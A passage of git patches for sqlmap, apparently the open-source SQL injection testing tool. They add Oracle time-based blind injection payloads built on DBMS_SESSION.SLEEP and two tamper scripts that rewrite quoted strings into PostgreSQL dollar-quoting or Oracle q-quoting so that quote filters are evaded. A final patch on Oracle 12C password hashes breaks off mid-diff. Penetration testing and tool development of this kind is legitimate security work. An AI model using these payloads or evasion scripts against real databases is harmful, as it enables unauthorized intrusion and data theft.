"alice")), + d.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")), } def infer(expr, maxLen=gql.MAX_LENGTH): From 827ec0a06ca7824be26ce17f3784087e316b0cee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 15:07:16 +0200 Subject: [PATCH 6/8] Minor update for Oracle support --- data/xml/payloads/time_blind.xml | 39 +++++++++++++++++++++++ lib/core/settings.py | 2 +- tamper/dollarquote.py | 44 ++++++++++++++++++++++++++ tamper/oraclequote.py | 53 ++++++++++++++++++++++++++++++++ 4 files changed, 137 insertions(+), 1 deletion(-) create mode 100644 tamper/dollarquote.py create mode 100644 tamper/oraclequote.py diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index fe9de254cc4..1370b8b262e 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1776,6 +1776,26 @@ + + + Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP) + 5 + 3 + 1 + 1,3,9 + 3 + BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; + + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; + + + + +
+ Oracle +
+
+ Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 @@ -2072,6 +2092,25 @@ + + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP) + 5 + 3 + 1 + 2,3 + 1 + ,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) + + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) + + + + +
+ Oracle +
+
+ Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP) 5 diff --git a/lib/core/settings.py b/lib/core/settings.py index 4a621142116..5ec28a349d6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.70" +VERSION = "1.10.7.71" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/dollarquote.py b/tamper/dollarquote.py new file mode 100644 index 00000000000..bb268b0362c --- /dev/null +++ b/tamper/dollarquote.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with PostgreSQL dollar-quoted strings (e.g. 'abc' -> $$abc$$) + + Requirement: + * PostgreSQL + + Tested against: + * PostgreSQL 9.x, 10-16 + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: dollar-quoting is quote-free and needs no escaping + * A literal already containing '$$' is left untouched + + >>> tamper("SELECT 'abc' FROM t WHERE x='def'") + 'SELECT $$abc$$ FROM t WHERE x=$$def$$' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", lambda match: "$$%s$$" % match.group(1) if "$$" not in match.group(1) else match.group(0), payload) + + return retVal diff --git a/tamper/oraclequote.py b/tamper/oraclequote.py new file mode 100644 index 00000000000..6b0416357d9 --- /dev/null +++ b/tamper/oraclequote.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces single-quoted strings with Oracle alternative-quoted strings (e.g. 'abc' -> q'[abc]') + + Requirement: + * Oracle 10g+ + + Tested against: + * Oracle 11g, 12c, 18c, 19c, 21c, 23ai + + Notes: + * Useful to bypass filters that block, strip or escape the single-quote + character: q-quoting delimits the literal with a chosen bracket/char + so the inner text needs no quote at all + * The first delimiter whose characters are absent from the literal is + used; a literal that contains every candidate delimiter is left untouched + + >>> tamper("SELECT 'abc' FROM DUAL") + "SELECT q'[abc]' FROM DUAL" + """ + + def _quote(match): + value = match.group(1) + for start, end in (("[", "]"), ("{", "}"), ("(", ")"), ("<", ">"), ("!", "!"), ("|", "|"), ("#", "#")): + if start not in value and end not in value: + return "q'%s%s%s'" % (start, value, end) + return match.group(0) + + retVal = payload + + if payload: + retVal = re.sub(r"'([^']*)'", _quote, payload) + + return retVal From 52c742458bb1fa4913d4bf790924fe376c6bcf77 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 16:23:19 +0200 Subject: [PATCH 7/8] Adding support for Oracle 12C password hashes --- data/xml/queries.xml | 4 ++-- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- lib/utils/hash.py | 21 ++++++++++++++++++++- 4 files changed, 24 insertions(+), 4 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index addf84a4643..b00389ad68e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -280,8 +280,8 @@ - - + +